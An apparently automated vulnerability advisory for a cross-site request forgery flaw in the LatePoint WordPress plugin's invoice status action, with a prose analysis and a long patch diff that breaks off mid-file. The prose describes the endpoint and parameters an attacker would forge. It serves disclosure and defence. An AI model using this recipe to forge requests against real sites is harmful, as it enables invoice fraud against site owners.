Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : June 12, 2026

CVE-2026-9719: LatePoint <= 5.6.0 Cross-Site Request Forgery via invoices__change_status Action PoC, Patch Analysis & Rule

CVE ID CVE-2026-9719
Plugin latepoint
Severity Medium (CVSS 4.3)
CWE 352
Vulnerable Version 5.6.0
Patched Version 5.6.1
Disclosed June 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-9719:

This vulnerability is a Cross-Site Request Forgery (CSRF) in the LatePoint plugin for WordPress, affecting versions up to and including 5.6.0. The issue occurs in the invoices__change_status action, where the change_status function within the invoices controller lacks proper nonce validation. This allows an unauthenticated attacker to forge requests that change the status of arbitrary invoices, including marking unpaid invoices as paid, without administrator consent. The CVSS score is 4.3 (Medium), and the CWE is 352 (Cross-Site Request Forgery).

The root cause is the conditional nonce validation in the `change_status` function in `/latepoint/lib/controllers/invoices_controller.php`. The vulnerable code at lines 230-235 performs a nonce check only when the `_wpnonce` parameter is present in the request. The conditional logic at line 230 checks `if ( isset( $this->params[‘_wpnonce’] ) )` before calling `$this->check_nonce( ‘change_invoice_status_’ . $this->params[‘invoice_id’] )`. This means if an attacker omits the `_wpnonce` parameter entirely, the nonce validation is skipped entirely, allowing the status change to proceed without any CSRF token verification.

Attackers exploit this by crafting a forged request to the vulnerable endpoint. The specific endpoint is the AJAX action `invoices__change_status`, typically accessed via `/wp-admin/admin-ajax.php` with the `action` parameter set to `invoices__change_status`. The request includes `invoice_id` and `status` parameters. Because the nonce check is bypassed when `_wpnonce` is absent, an attacker only needs to trick a logged-in administrator into clicking a link or visiting a malicious page that triggers the request, thereby changing an invoice’s status (e.g., from unpaid to paid).

The patch removes the conditional nonce check. The diff shows that in version 5.6.1, the entire `if` block (lines 233-235 in the vulnerable version) is replaced with an unconditional call to `$this->check_nonce( ‘change_invoice_status_’ . $this->params[‘invoice_id’] )`. This ensures that every request to change an invoice’s status must include a valid nonce, preventing CSRF attacks. The patch also adds a new `bulk_destroy` function with its own nonce validation.

If exploited, an attacker can change the status of any invoice in the system. The most severe impact is marking unpaid invoices as paid, which could result in financial fraud for the site owner (e.g., booking service without receiving payment). The attacker does not need any privileges on the WordPress site; only the administrator must be tricked into performing a simple action like clicking a crafted link.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/latepoint/latepoint.php
+++ b/latepoint/latepoint.php
@@ -2,7 +2,7 @@
 /**
  * Plugin Name: LatePoint
  * Description: Appointment Scheduling Software for WordPress
- * Version: 5.6.0
+ * Version: 5.6.1
  * Author: LatePoint
  * Author URI: https://latepoint.com
  * Plugin URI: https://latepoint.com
@@ -29,7 +29,7 @@
 		 * LatePoint version.
 		 *
 		 */
-		public $version    = '5.6.0';
+		public $version    = '5.6.1';
 		public $db_version = '2.3.0';


@@ -1136,7 +1136,7 @@
 		function add_upgrade_link( $links, $plugin_file ) {
 			if ( plugin_basename( __FILE__ ) == $plugin_file ) {
 				if ( apply_filters( 'latepoint_show_upgrade_link_on_plugins_page', true, $plugin_file ) ) {
-					$custom_link = '<a class="latepoint-plugin-upgrade-premium-link" href="' . LATEPOINT_UPGRADE_URL . '">' . esc_html__( 'Get LatePoint Pro' ) . '</a>';
+					$custom_link = '<a class="latepoint-plugin-upgrade-premium-link" href="' . LATEPOINT_UPGRADE_URL . '">' . esc_html__( 'Get LatePoint Pro', 'latepoint' ) . '</a>';
 					$links[]     = $custom_link;
 				}
 			}
@@ -1646,6 +1646,24 @@

 			wp_localize_script( 'latepoint-main-admin', 'latepoint_helper', $localized_vars );

+			wp_localize_script(
+				'latepoint-main-admin',
+				'latepoint_bookings_bulk_i18n',
+				array(
+					'modal_title'             => __( 'Are you sure you want to delete these appointments?', 'latepoint' ),
+					'modal_body_one'          => __( 'You are about to delete 1 appointment. This action cannot be undone.', 'latepoint' ),
+					'modal_body_many'         => __( 'You are about to delete %d appointments. This action cannot be undone.', 'latepoint' ),
+					'modal_confirm_prompt'    => __( 'To confirm, type %s in the box below.', 'latepoint' ),
+					'modal_confirm_word'      => __( 'delete', 'latepoint' ),
+					'modal_input_placeholder' => __( 'Type "delete" to confirm', 'latepoint' ),
+					'modal_confirm'           => __( 'Delete', 'latepoint' ),
+					'modal_cancel'            => __( 'Cancel', 'latepoint' ),
+					'selected_label_one'      => __( 'Appointment selected', 'latepoint' ),
+					'selected_label_many'     => __( 'Appointments selected', 'latepoint' ),
+					'error_generic'           => __( 'Something went wrong. Please try again.', 'latepoint' ),
+				)
+			);
+

 			$latepoint_css_variables = OsStylesHelper::generate_css_variables();
 			wp_add_inline_style( 'latepoint-main-admin', $latepoint_css_variables );
--- a/latepoint/lib/config/capabilities_for_controllers.php
+++ b/latepoint/lib/config/capabilities_for_controllers.php
@@ -31,6 +31,7 @@
 			'update'           => [ 'booking__edit' ],
 			'create'           => [ 'booking__create' ],
 			'destroy'          => [ 'booking__delete' ],
+			'bulk_destroy'     => [ 'booking__delete' ],
 		],
 	],
 	'OsOrdersController'            => [
--- a/latepoint/lib/controllers/bookings_controller.php
+++ b/latepoint/lib/controllers/bookings_controller.php
@@ -416,6 +416,164 @@
 		}


+		/**
+		 * Maximum number of appointments accepted in a single bulk-delete request.
+		 * Acts as a guard against accidental or malicious oversized payloads.
+		 */
+		const BULK_DESTROY_MAX_IDS = 100;
+
+		/**
+		 * Bulk-delete appointments by ID.
+		 *
+		 * Expects POST params:
+		 *   - _wpnonce: nonce for action 'bulk_destroy_bookings'.
+		 *   - ids:      array of booking IDs (or comma-separated string).
+		 *
+		 * Verifies the user can delete bookings, validates input, then attempts to
+		 * delete each ID after a per-record capability check. Fires the standard
+		 * latepoint_booking_will_be_deleted / latepoint_booking_deleted hooks per
+		 * successful deletion and logs activity.
+		 *
+		 * Responds with JSON containing status, message, deleted_ids, failed_ids,
+		 * deleted_count and failed_count.
+		 *
+		 * @return void
+		 */
+		public function bulk_destroy() {
+			$this->check_nonce( 'bulk_destroy_bookings' );
+
+			if ( ! OsRolesHelper::can_user_perform_model_action( 'OsBookingModel', 'delete' ) ) {
+				$this->send_json(
+					array(
+						'status'  => LATEPOINT_STATUS_ERROR,
+						'message' => __( 'You do not have permission to delete appointments.', 'latepoint' ),
+					)
+				);
+				return;
+			}
+
+			$raw_ids = $this->params['ids'] ?? array();
+			if ( ! is_array( $raw_ids ) ) {
+				$raw_ids = explode( ',', (string) $raw_ids );
+			}
+
+			$ids = array();
+			foreach ( $raw_ids as $raw_id ) {
+				$id = absint( $raw_id );
+				if ( $id ) {
+					$ids[ $id ] = $id;
+				}
+			}
+
+			if ( empty( $ids ) ) {
+				$this->send_json(
+					array(
+						'status'  => LATEPOINT_STATUS_ERROR,
+						'message' => __( 'No appointments selected.', 'latepoint' ),
+					)
+				);
+				return;
+			}
+
+			if ( count( $ids ) > self::BULK_DESTROY_MAX_IDS ) {
+				$this->send_json(
+					array(
+						'status'  => LATEPOINT_STATUS_ERROR,
+						'message' => sprintf(
+							/* translators: %d: maximum number of appointments allowed in a single bulk action */
+							__( 'Too many appointments selected. Please delete in batches of %d or fewer.', 'latepoint' ),
+							self::BULK_DESTROY_MAX_IDS
+						),
+					)
+				);
+				return;
+			}
+
+			ignore_user_abort( true );
+			if ( function_exists( 'set_time_limit' ) ) {
+				// phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged
+				@set_time_limit( 0 );
+			}
+
+			$deleted_ids = array();
+			$failed_ids  = array();
+
+			foreach ( $ids as $id ) {
+				$booking = new OsBookingModel( $id );
+				if ( $booking->is_new_record() ) {
+					$failed_ids[] = $id;
+					continue;
+				}
+				if ( ! OsRolesHelper::can_user_make_action_on_model_record( $booking, 'delete' ) ) {
+					$failed_ids[] = $id;
+					continue;
+				}
+
+				/**
+				 * Fires right before a booking is about to be deleted via bulk delete.
+				 *
+				 * @param {integer} $booking_id ID of the booking that will be deleted.
+				 * @since 5.2.0
+				 * @hook latepoint_booking_will_be_deleted
+				 */
+				do_action( 'latepoint_booking_will_be_deleted', $id );
+
+				if ( $booking->delete() ) {
+					/**
+					 * Fires right after a booking has been deleted via bulk delete.
+					 *
+					 * @param {integer} $booking_id ID of the booking that was deleted.
+					 * @since 5.2.0
+					 * @hook latepoint_booking_deleted
+					 */
+					do_action( 'latepoint_booking_deleted', $id );
+					OsActivitiesHelper::log_booking_deleted( $booking );
+					$deleted_ids[] = $id;
+				} else {
+					$failed_ids[] = $id;
+				}
+			}
+
+			$deleted_count = count( $deleted_ids );
+			$failed_count  = count( $failed_ids );
+
+			if ( $deleted_count && ! $failed_count ) {
+				$status  = LATEPOINT_STATUS_SUCCESS;
+				$message = sprintf(
+					/* translators: %d: number of appointments deleted */
+					_n( '%d appointment deleted successfully.', '%d appointments deleted successfully.', $deleted_count, 'latepoint' ),
+					$deleted_count
+				);
+			} elseif ( $deleted_count && $failed_count ) {
+				$status  = LATEPOINT_STATUS_SUCCESS;
+				$message = sprintf(
+					/* translators: 1: number of appointments deleted, 2: number of appointments that could not be deleted */
+					__( '%1$d appointment(s) deleted. %2$d could not be deleted.', 'latepoint' ),
+					$deleted_count,
+					$failed_count
+				);
+			} else {
+				$status  = LATEPOINT_STATUS_ERROR;
+				$message = sprintf(
+					/* translators: %d: number of appointments that could not be deleted */
+					_n( '%d appointment could not be deleted.', '%d appointments could not be deleted.', $failed_count, 'latepoint' ),
+					$failed_count
+				);
+			}
+
+			$this->send_json(
+				array(
+					'status'        => $status,
+					'message'       => $message,
+					'deleted_ids'   => $deleted_ids,
+					'failed_ids'    => $failed_ids,
+					'deleted_count' => $deleted_count,
+					'failed_count'  => $failed_count,
+				)
+			);
+		}
+
+
 		function change_status() {

 			if ( filter_var( $this->params['id'], FILTER_VALIDATE_INT ) ) {
--- a/latepoint/lib/controllers/invoices_controller.php
+++ b/latepoint/lib/controllers/invoices_controller.php
@@ -230,11 +230,7 @@
 				return;
 			}

-			// Condition for pro compatibility. Remove later.
-			if ( isset( $this->params['_wpnonce'] ) ) {
-				// Verify nonce.
-				$this->check_nonce( 'change_invoice_status_' . $this->params['invoice_id'] );
-			}
+			$this->check_nonce( 'change_invoice_status_' . $this->params['invoice_id'] );

 			if ( ! in_array( $this->params['status'], array_keys( OsInvoicesHelper::list_of_statuses_for_select() ) ) ) {
 				echo 'Invalid Status';
--- a/latepoint/lib/controllers/processes_controller.php
+++ b/latepoint/lib/controllers/processes_controller.php
@@ -89,12 +89,14 @@
 			$operator             = $this->params['operator'];
 			$trigger_condition_id = $this->params['trigger_condition_id'];
 			$values               = OsProcessesHelper::values_for_trigger_condition_property( $property );
+			$message              = LatePointMiscProcessEvent::value_field_html_for_trigger_condition( $property, '', $trigger_condition_id );
+
 			if ( $this->get_return_format() == 'json' ) {
 				$this->send_json(
 					array(
 						'status'  => LATEPOINT_STATUS_SUCCESS,
-						'message' => OsFormHelper::multi_select_field( 'process[event][trigger_conditions][' . $trigger_condition_id . '][value]', false, $values, false, [] ),
-					)
+						'message' => $message,
+					)
 				);
 			}
 		}
--- a/latepoint/lib/helpers/booking_helper.php
+++ b/latepoint/lib/helpers/booking_helper.php
@@ -2187,4 +2187,65 @@
 				return '<td>' . esc_html( $column_value ) . '</td>';
 		}
 	}
+
+	/**
+	 * Returns the <th> HTML for the bulk-selection column header (with the select-all checkbox).
+	 *
+	 * @return string
+	 */
+	public static function render_bulk_select_header_cell(): string {
+		return '<th class="os-bulk-select-cell" onclick="event.stopPropagation();">' .
+			'<label class="os-bulk-row-check-w">' .
+			'<input type="checkbox" class="os-bulk-select-all" aria-label="' . esc_attr__( 'Select all appointments on this page', 'latepoint' ) . '" />' .
+			'<span class="os-bulk-check-box"></span>' .
+			'</label>' .
+			'</th>';
+	}
+
+	/**
+	 * Returns the empty spacer <th> HTML for the bulk-selection column in filter and footer rows.
+	 *
+	 * @return string
+	 */
+	public static function render_bulk_select_spacer_cell(): string {
+		return '<th class="os-bulk-select-cell"></th>';
+	}
+
+	/**
+	 * Returns the <td> HTML for the bulk-selection column on a single body row.
+	 *
+	 * @param OsBookingModel $booking Current booking row.
+	 * @return string
+	 */
+	public static function render_bulk_select_body_cell( OsBookingModel $booking ): string {
+		/* translators: %d: appointment ID */
+		$aria_label = sprintf( __( 'Select appointment %d', 'latepoint' ), $booking->id );
+		return '<td class="os-bulk-select-cell" onclick="event.stopPropagation();">' .
+			'<label class="os-bulk-row-check-w">' .
+			'<input type="checkbox" class="os-bulk-row-check" value="' . esc_attr( $booking->id ) . '" aria-label="' . esc_attr( $aria_label ) . '" />' .
+			'<span class="os-bulk-check-box"></span>' .
+			'</label>' .
+			'</td>';
+	}
+
+	/**
+	 * Returns the HTML for the bulk-actions toolbar shown above the appointments table.
+	 *
+	 * @return string
+	 */
+	public static function render_bulk_actions_bar(): string {
+		return '<div class="os-bulk-actions-bar" data-bulk-nonce="' . esc_attr( wp_create_nonce( 'bulk_destroy_bookings' ) ) . '">' .
+			'<div class="os-bulk-actions-info">' .
+			'<span class="os-bulk-selected-count">0</span>' .
+			// Label is swapped between singular and plural by JS based on selection count.
+			'<span class="os-bulk-selected-label">' . esc_html__( 'Appointments selected', 'latepoint' ) . '</span>' .
+			'</div>' .
+			'<div class="os-bulk-actions-controls">' .
+			'<a href="#" class="latepoint-btn latepoint-btn-danger os-bulk-action-delete">' .
+			'<i class="latepoint-icon latepoint-icon-trash-2"></i><span>' . esc_html__( 'Delete Selected', 'latepoint' ) . '</span>' .
+			'</a>' .
+			'<a href="#" class="os-bulk-actions-clear">' . esc_html__( 'Clear selection', 'latepoint' ) . '</a>' .
+			'</div>' .
+			'</div>';
+	}
 }
--- a/latepoint/lib/helpers/customer_import_helper.php
+++ b/latepoint/lib/helpers/customer_import_helper.php
@@ -40,7 +40,7 @@
 		if ( empty( $email ) || ! OsUtilHelper::is_valid_email( $email ) ) {
 			return [
 				'status'  => false,
-				'message' => esc_html__( 'Invalid email address: ' . $email, 'latepoint' ),
+				'message' => sprintf( esc_html__( 'Invalid email address: %s', 'latepoint' ), $email ),
 			];
 		}
 		$customer = new OsCustomerModel();
@@ -48,7 +48,7 @@
 		if ( $customer ) {
 			return [
 				'status'  => false,
-				'message' => esc_html__( 'Customer with email already exists: ' . $email, 'latepoint' ),
+				'message' => sprintf( esc_html__( 'Customer with email already exists: %s', 'latepoint' ), $email ),
 			];
 		}
 		return [ 'status' => true ];
--- a/latepoint/lib/helpers/transaction_helper.php
+++ b/latepoint/lib/helpers/transaction_helper.php
@@ -19,7 +19,7 @@
 		echo '<div class="transaction-refund-settings">';
 		echo '<div class="refund-settings-heading"><div>' . esc_html__( 'Refund Amount', 'latepoint' ) . '</div><div class="refund-settings-close"><i class="latepoint-icon latepoint-icon-x"></i></div></div>';
 		echo '<div class="refund-settings-fields">';
-		$full_amount_label = sprintf( __( 'Full [%s]' ), OsMoneyHelper::format_price( ( $transaction->amount - $transaction->get_total_refunded_amount() ), true, false ) );
+		$full_amount_label = sprintf( __( 'Full [%s]', 'latepoint' ), OsMoneyHelper::format_price( ( $transaction->amount - $transaction->get_total_refunded_amount() ), true, false ) );
 		echo OsFormHelper::select_field(
 			'transaction_refund[portion]',
 			false,
--- a/latepoint/lib/helpers/whatsapp_helper.php
+++ b/latepoint/lib/helpers/whatsapp_helper.php
@@ -118,7 +118,7 @@
 			$html                .= '</div>';
 			$html                .= '<div class="latepoint-whatsapp-template-preview-variables-inner">';
 			$smart_variables_link = '<a href="#" class="open-template-variables-panel">' . esc_html__( 'Click here', 'latepoint' ) . '</a>';
-			$html                .= '<div class="latepoint-whatsapp-note">' . sprintf( __( 'You have to assign values for each variable that is used in this template. %s to show smart variables that you can use.' ), $smart_variables_link ) . '</div>';
+			$html                .= '<div class="latepoint-whatsapp-note">' . sprintf( __( 'You have to assign values for each variable that is used in this template. %s to show smart variables that you can use.', 'latepoint' ), $smart_variables_link ) . '</div>';
 			$color_index          = 0;
 			foreach ( $variables_by_type as $variable_type => $variables ) {
 				if ( ! empty( $variables ) ) {
--- a/latepoint/lib/misc/process_event.php
+++ b/latepoint/lib/misc/process_event.php
@@ -377,20 +377,15 @@
 					],
 					[ 'class' => 'process-condition-operators-w' ]
 				) .
-				OsFormHelper::multi_select_field(
-					'process[event][trigger_conditions][' . $trigger_condition['id'] . '][value]',
-					false,
-					OsProcessesHelper::values_for_trigger_condition_property( $trigger_condition['property'] ),
-					$trigger_condition['value'] ? explode( ',', $trigger_condition['value'] ) : [],
-					[],
-					[
-						'class' => 'process-condition-values-w',
-						'style' => in_array( $trigger_condition['operator'], [ 'changed', 'not_changed' ] ) ? 'display: none;' : '',
-					]
+				self::value_field_html_for_trigger_condition(
+					$trigger_condition['property'],
+					$trigger_condition['value'] ?: '',
+					$trigger_condition['id'],
+					$trigger_condition['operator'] ?? ''
 				) .
-				'<div data-os-action="' . OsRouterHelper::build_route_name( 'processes', 'new_trigger_condition' ) . '"
-                      data-os-pass-response="yes"
-                      data-os-pass-this="yes"
+				'<div data-os-action="' . OsRouterHelper::build_route_name( 'processes', 'new_trigger_condition' ) . '"
+                      data-os-pass-response="yes"
+                      data-os-pass-this="yes"
                       data-os-before-after="none"
                       data-os-params="' . OsUtilHelper::build_os_params( [ 'event_type' => $this->type ] ) . '"
                       data-os-after-call="latepoint_add_process_condition"><button class="latepoint-btn-outline latepoint-btn"><i class="latepoint-icon latepoint-icon-plus2"></i><span>' . __( 'AND', 'latepoint' ) . '</span></button></div>' .
@@ -398,10 +393,87 @@
 		return $html;
 	}

+	/**
+	 * Renders the value-input HTML for a single trigger condition. Numeric
+	 * properties get a bordered number input; other properties get the
+	 * existing multi-select dropdown populated from
+	 * OsProcessesHelper::values_for_trigger_condition_property().
+	 *
+	 * Used inline by generate_trigger_condition_form_html() and from the
+	 * processes__available_values_for_trigger_condition_property AJAX endpoint.
+	 */
+	public static function value_field_html_for_trigger_condition( string $property, string $value, string $trigger_condition_id, string $operator = '' ): string {
+		$name = 'process[event][trigger_conditions][' . $trigger_condition_id . '][value]';
+
+		if ( self::is_numeric_trigger_condition_property( $property ) ) {
+			return OsFormHelper::number_field(
+				$name,
+				'',
+				$value,
+				0,
+				null,
+				[
+					'step'        => '1',
+					'theme'       => 'bordered',
+					'placeholder' => __( 'Count', 'latepoint' ),
+				],
+				[
+					'class' => 'process-condition-values-w',
+				]
+			);
+		}
+
+		return OsFormHelper::multi_select_field(
+			$name,
+			'',
+			OsProcessesHelper::values_for_trigger_condition_property( $property ),
+			$value ? explode( ',', $value ) : [],
+			[],
+			[
+				'class' => 'process-condition-values-w',
+				'style' => in_array( $operator, [ 'changed', 'not_changed' ] ) ? 'display: none;' : '',
+			]
+		);
+	}
+
+	/**
+	 * Returns true when the given condition property holds a numeric value
+	 * (free-form integer input, comparable with greater/less-than operators)
+	 * rather than a fixed set of options (status keys, agent IDs, etc.).
+	 *
+	 * Used by trigger_condition_operators_for_property() to expose numeric
+	 * operators and by value_field_html_for_trigger_condition() to render a
+	 * <input type="number"> instead of the default multi-select dropdown.
+	 */
+	public static function is_numeric_trigger_condition_property( string $property ): bool {
+		if ( ! $property ) {
+			return false;
+		}
+		$numeric_properties = [
+			'booking__order_item_counts',
+			'order__order_item_counts',
+		];
+
+		/**
+		 * Filter the list of trigger condition properties that should be treated as numeric.
+		 *
+		 * @since 5.x
+		 * @hook latepoint_process_event_numeric_trigger_condition_properties
+		 *
+		 * @param {string[]} $numeric_properties Array of property codes in object__attribute format
+		 *
+		 * @returns {string[]} Filtered list of numeric property codes
+		 */
+		$numeric_properties = apply_filters( 'latepoint_process_event_numeric_trigger_condition_properties', $numeric_properties );
+
+		return in_array( $property, $numeric_properties, true );
+	}
+
 	public static function trigger_condition_operators_for_property( string $property = '' ) {
 		$property_object    = $property ? explode( '__', $property )[0] : 'booking';
 		$property_attribute = $property ? explode( '__', $property )[1] : '';
 		$operators          = [];
+
 		switch ( $property_object ) {
 			case 'old_order':
 			case 'old_booking':
@@ -419,8 +491,15 @@
 			case 'agent':
 			case 'service':
 			case 'transaction':
-				// TODO time range operators instead of removing these opearators completely
-				if ( $property_attribute != 'start_datetime_utc' ) {
+				if ( self::is_numeric_trigger_condition_property( $property ) ) {
+					$operators['equal']            = __( 'is equal to', 'latepoint' );
+					$operators['not_equal']        = __( 'is not equal to', 'latepoint' );
+					$operators['greater_than']     = __( 'is greater than', 'latepoint' );
+					$operators['less_than']        = __( 'is less than', 'latepoint' );
+					$operators['greater_or_equal'] = __( 'is greater than or equal to', 'latepoint' );
+					$operators['less_or_equal']    = __( 'is less than or equal to', 'latepoint' );
+				} elseif ( $property_attribute != 'start_datetime_utc' ) {
+					// TODO time range operators instead of removing these opearators completely
 					$operators['equal']     = __( 'is equal to', 'latepoint' );
 					$operators['not_equal'] = __( 'is not equal to', 'latepoint' );
 				}
@@ -466,9 +545,10 @@
 				break;
 			case 'booking_created':
 				$properties = [
-					'booking__status'     => __( 'Booking Status', 'latepoint' ),
-					'booking__service_id' => __( 'Service', 'latepoint' ),
-					'booking__agent_id'   => __( 'Agent', 'latepoint' ),
+					'booking__status'            => __( 'Booking Status', 'latepoint' ),
+					'booking__service_id'        => __( 'Service', 'latepoint' ),
+					'booking__agent_id'          => __( 'Agent', 'latepoint' ),
+					'booking__order_item_counts' => __( 'Order Item Counts', 'latepoint' ),
 				];
 				break;
 			case 'booking_updated':
@@ -504,7 +584,7 @@
 			'transaction_created',
 			'payment_request_created',
 		];
-
+
 		/**
 		 * Returns an array of event types that trigger automation process
 		 *
@@ -543,7 +623,7 @@
 		 * @returns {array} Filtered array of event types/names
 		 */
 		$names = apply_filters( 'latepoint_process_event_names', $names );
-
+
 		return $names[ $type ] ?? $type;
 	}

--- a/latepoint/lib/models/booking_model.php
+++ b/latepoint/lib/models/booking_model.php
@@ -153,6 +153,7 @@
 			'agent_id'           => __( 'Agent', 'latepoint' ),
 			'status'             => __( 'Status', 'latepoint' ),
 			'start_datetime_utc' => __( 'Start Time', 'latepoint' ),
+			'order_item_counts'  => __( 'Order Item Counts', 'latepoint' ),
 		];
 	}

--- a/latepoint/lib/models/order_model.php
+++ b/latepoint/lib/models/order_model.php
@@ -395,6 +395,7 @@
 			'status'             => __( 'Order Status', 'latepoint' ),
 			'fulfillment_status' => __( 'Fulfillment Status', 'latepoint' ),
 			'payment_status'     => __( 'Payment Status', 'latepoint' ),
+			'order_item_counts'  => __( 'Order Item Counts', 'latepoint' ),
 		];
 	}

--- a/latepoint/lib/models/process_model.php
+++ b/latepoint/lib/models/process_model.php
@@ -37,17 +37,38 @@
 			foreach ( $this->event->trigger_conditions as $condition ) {
 				foreach ( $objects as $object ) {
 					if ( $object['model'] == LatePointMiscProcessEvent::get_object_from_property( $condition['property'] ) ) {
-						$attribute = LatePointMiscProcessEvent::get_object_attribute_from_property( $condition['property'] );
+						$attribute    = LatePointMiscProcessEvent::get_object_attribute_from_property( $condition['property'] );
+						$object_value = self::resolve_attribute_value( $object, $attribute );
 						switch ( $condition['operator'] ) {
 							case 'equal':
 								$value_arr = explode( ',', $condition['value'] );
-								if ( ! in_array( $object['model_ready']->$attribute, $value_arr ) ) {
+								if ( ! in_array( $object_value, $value_arr ) ) {
 									return false;
 								}
 								break;
 							case 'not_equal':
 								$value_arr = explode( ',', $condition['value'] );
-								if ( in_array( $object['model_ready']->$attribute, $value_arr ) ) {
+								if ( in_array( $object_value, $value_arr ) ) {
+									return false;
+								}
+								break;
+							case 'greater_than':
+								if ( ! ( (float) $object_value > (float) $condition['value'] ) ) {
+									return false;
+								}
+								break;
+							case 'less_than':
+								if ( ! ( (float) $object_value < (float) $condition['value'] ) ) {
+									return false;
+								}
+								break;
+							case 'greater_or_equal':
+								if ( ! ( (float) $object_value >= (float) $condition['value'] ) ) {
+									return false;
+								}
+								break;
+							case 'less_or_equal':
+								if ( ! ( (float) $object_value <= (float) $condition['value'] ) ) {
 									return false;
 								}
 								break;
@@ -57,7 +78,7 @@
 							case 'not_changed':
 								foreach ( $objects as $object_to_compare ) {
 									if ( $object_to_compare['model'] == str_replace( 'old_', '', $object['model'] ) ) {
-										if ( $object['model_ready']->$attribute != $object_to_compare['model_ready']->$attribute ) {
+										if ( $object_value != $object_to_compare['model_ready']->$attribute ) {
 											return false;
 										}
 									}
@@ -65,7 +86,7 @@
 							case 'changed':
 								foreach ( $objects as $object_to_compare ) {
 									if ( $object_to_compare['model'] == str_replace( 'old_', '', $object['model'] ) ) {
-										if ( $object['model_ready']->$attribute == $object_to_compare['model_ready']->$attribute ) {
+										if ( $object_value == $object_to_compare['model_ready']->$attribute ) {
 											return false;
 										}
 									}
@@ -79,6 +100,68 @@
 		return true;
 	}

+	/**
+	 * Returns the value of the attribute on the model. Most attributes are
+	 * read directly from the model instance, but a small number are computed
+	 * (e.g. order_item_counts, which depends on related records and is not
+	 * stored on the booking or order row itself).
+	 */
+	private static function resolve_attribute_value( array $object, string $attribute ) {
+		if ( $attribute === 'order_item_counts' ) {
+			if ( $object['model'] === 'booking' ) {
+				return self::compute_order_item_counts_for_booking( $object['model_ready'] );
+			}
+			if ( $object['model'] === 'order' ) {
+				return self::compute_order_item_counts_for_order( $object['model_ready'] );
+			}
+		}
+		return $object['model_ready']->$attribute;
+	}
+
+	/**
+	 * Counts how many bookings belong to the same transaction as the given
+	 * booking. Falls back to 1 (= "single booking") for any degenerate input
+	 * so the evaluator never crashes on missing related records.
+	 *
+	 * Order of preference:
+	 *  - recurrence_id sibling count (catches recurring sets and bundle
+	 *    scheduling)
+	 *  - order item count via order_item_id -> order (catches cart checkouts
+	 *    with multiple distinct services)
+	 *  - 1 (no transaction context)
+	 */
+	private static function compute_order_item_counts_for_booking( OsBookingModel $booking ): int {
+		if ( ! empty( $booking->order_item_id ) ) {
+			$order_item = new OsOrderItemModel( $booking->order_item_id );
+
+			if ( ! empty( $order_item->order_id ) ) {
+				$order = new OsOrderModel( $order_item->order_id );
+				$items = $order->get_items();
+				if ( ! empty( $items ) ) {
+					return count( $items );
+				}
+			}
+		}
+
+		return 0;
+	}
+
+	/**
+	 * Counts how many items the given order has. Falls back to 1 for any
+	 * degenerate input so the evaluator never crashes on missing related
+	 * records. Used by the "Order Item Counts" condition on Order Created.
+	 */
+	private static function compute_order_item_counts_for_order( OsOrderModel $order ): int {
+		if ( empty( $order->id ) ) {
+			return 0;
+		}
+		$items = $order->get_items();
+		if ( empty( $items ) ) {
+			return 0;
+		}
+		return count( $items );
+	}
+
 	public function get_info() {
 		return [
 			'name'       => $this->name,
@@ -97,7 +180,7 @@
 					'process_id' => $id,
 					'status'     => LATEPOINT_JOB_STATUS_SCHEDULED,
 				),
-				array( '%d', '%s' )
+				array( '%d', '%s' )
 			);
 			do_action( 'latepoint_process_deleted', $id );
 			return true;
--- a/latepoint/lib/views/bookings/_table_body.php
+++ b/latepoint/lib/views/bookings/_table_body.php
@@ -15,6 +15,7 @@
 if($bookings){
   foreach ($bookings as $booking): ?>
     <tr class="os-clickable-row" <?php echo OsBookingHelper::quick_booking_btn_html($booking->id); ?>>
+      <?php if ( ! empty( $can_bulk_delete ) ) { echo OsBookingHelper::render_bulk_select_body_cell( $booking ); } ?>
       <?php
       foreach ( $ordered_columns as $col_key => $col_def ) {
         if ( ! OsSettingsHelper::is_bookings_column_visible( $col_def, $selected_columns, count( $services_list ), count( $agents_list ), count( $locations_list ) ) ) continue;
--- a/latepoint/lib/views/bookings/index.php
+++ b/latepoint/lib/views/bookings/index.php
@@ -23,6 +23,9 @@
 	exit; // Exit if accessed directly
 }
 ?>
+<?php
+$can_bulk_delete = OsRolesHelper::can_user_perform_model_action( 'OsBookingModel', 'delete' );
+?>
 <?php if($bookings){ ?>
   <div class="table-with-pagination-w has-scrollable-table">
     <div class="os-pagination-w with-actions">
@@ -38,6 +41,7 @@
           <?php } ?>
       </div>
     </div>
+    <?php if ( $can_bulk_delete ) { echo OsBookingHelper::render_bulk_actions_bar(); } ?>
     <div class="os-bookings-list">
       <div class="os-scrollable-table-w">
         <div class="os-table-w os-table-compact">
@@ -46,6 +50,7 @@
 	          <?php echo OsFormHelper::hidden_field('filter[records_ordered_by_direction]', $records_ordered_by_direction, ['class' => 'records-ordered-by-direction os-table-filter']); ?>
             <thead>
               <tr>
+                <?php if ( $can_bulk_delete ) { echo OsBookingHelper::render_bulk_select_header_cell(); } ?>
                 <?php
                 foreach ( $ordered_columns as $col_key => $col_def ) {
                   if ( ! OsSettingsHelper::is_bookings_column_visible( $col_def, $selected_columns, count( $services_list ), count( $agents_list ), count( $locations_list ) ) ) continue;
@@ -54,6 +59,7 @@
                 ?>
               </tr>
               <tr>
+                <?php if ( $can_bulk_delete ) { echo OsBookingHelper::render_bulk_select_spacer_cell(); } ?>
                 <?php
                 foreach ( $ordered_columns as $col_key => $col_def ) {
                   if ( ! OsSettingsHelper::is_bookings_column_visible( $col_def, $selected_columns, count( $services_list ), count( $agents_list ), count( $locations_list ) ) ) continue;
@@ -67,6 +73,7 @@
             </tbody>
             <tfoot>
               <tr>
+                <?php if ( $can_bulk_delete ) { echo OsBookingHelper::render_bulk_select_spacer_cell(); } ?>
                 <?php
                 foreach ( $ordered_columns as $col_key => $col_def ) {
                   if ( ! OsSettingsHelper::is_bookings_column_visible( $col_def, $selected_columns, count( $services_list ), count( $agents_list ), count( $locations_list ) ) ) continue;
--- a/latepoint/lib/views/orders/_balance_and_payments.php
+++ b/latepoint/lib/views/orders/_balance_and_payments.php
@@ -56,7 +56,7 @@
             <div class="payment-request-row">
             <?php
             $payment_portions = [];
-            if($total_balance > 0) $payment_portions[LATEPOINT_PAYMENT_PORTION_FULL] = sprintf( __( 'Full Price [%s]' ), OsMoneyHelper::format_price( $total_balance, true, false ) );
